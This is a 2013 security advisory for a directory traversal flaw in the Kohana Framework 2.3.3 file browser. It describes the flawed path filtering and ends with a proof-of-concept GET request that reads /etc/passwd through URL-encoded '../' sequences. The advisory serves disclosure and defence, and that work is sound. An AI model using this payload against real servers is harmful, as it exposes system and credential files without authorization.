Kohana Framework 2.3.3 – Directory Traversal
Title: ====== Kohana Framework v2.3.3 - Directory Traversal Vulnerability Date: ===== 2013-01-27 References: =========== http://www.vulnerability-lab.com/get_content.php?id=841 VL-ID: ===== 837 Common Vulnerability Scoring System: ==================================== 7.1 Introduction: ============= Kohana is an open source, object oriented MVC web framework built using PHP5 by a team of volunteers that aims to be swift, secure, and small. (copy from vendor website) This is an OOP framework that is extremely DRY. Everything is built using strict PHP 5 classes and objects. Many common components are included: translation tools, database access, code profiling, encryption, validation, and more. Extending existing components and adding new libraries is very easy. Uses the BSD license, so you can use and modify it for commercial purposes. Benchmarking a framework is hard and rarely reflects the real world, but Kohana is very efficient and carefully optimized for real world usage. Very well commented code and a simple routing structure makes it easy to understand what is happening. Simple and effective tools help identify and solve performance issues quickly. (Copy of the Vendor Homepage: http://kohanaframework.org/ ) Abstract: ========= The Vulnerability Laboratory Research Team discovered a Directory Traversal web vulnerability in the Kohana v2.3.3 Content Management System. Report-Timeline: ================ 2013-01-27: Public Disclosure Status: ======== Published Affected Products: ================== Kohana Product: Framework - Content Management System 2.3.3 Exploitation-Technique: ======================= Remote Severity: ========= High Details: ======== A Directory Traversal web vulnerability is detected in the Kohana Content Management System web application. The vulnerability allows remote attackers to request local directories and files of the web server application system. The vulnerability is located in the `master/classes/Kohana/Filebrowser.php` file in line 90 when processing to request the path dir via replace. The filter replaces `../` by null and it applies on file reading requests. Review: Kohana/Filebrowser.php $thumb = Route::get('wysiwyg/filebrowser') ->uri(array( 'action' => 'thumb', 'path' => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), $filename) )); Remote attackers can bypass the validation with the vulnerable replace function in the file browser to read local web server files via directory (path) traversal attack. Exploitaton of the vulnerability requires no privileged application user account and no user interaction. Successful exploitation of the vulnerability results in read of arbitrary system files to compromise web server. Vulnerable Module(s): [+] Filebrowser Vulnerable Function(s): [+] str_replace > dir Vulnerable Parameter(s): [+] ?path Proof of Concept: ================= The vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction. For demonstration or reproduce ... Review: Kohana/Filebrowser.php $thumb = Route::get('wysiwyg/filebrowser') ->uri(array( 'action' => 'thumb', 'path' => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), $filename) )); Review: GET Request GET http://media.[server].com/directory/graphics/?path=..%2F..%2F..%2F%2F..%2F.. %2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F%2Fetc%2Fpasswd HTTP/1.0 Host: media.[server].com User-Agent: Kami VL PoC: http://media.[server].com/directory/graphics/?path=..%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F%2Fetc%2Fpasswd Risk: ===== The security risk of the directory traversal web vulnerability is estimated as high(+). Credits: ======== Vulnerability Laboratory [Research Team] - Karim B. (kami@vulnerability-lab.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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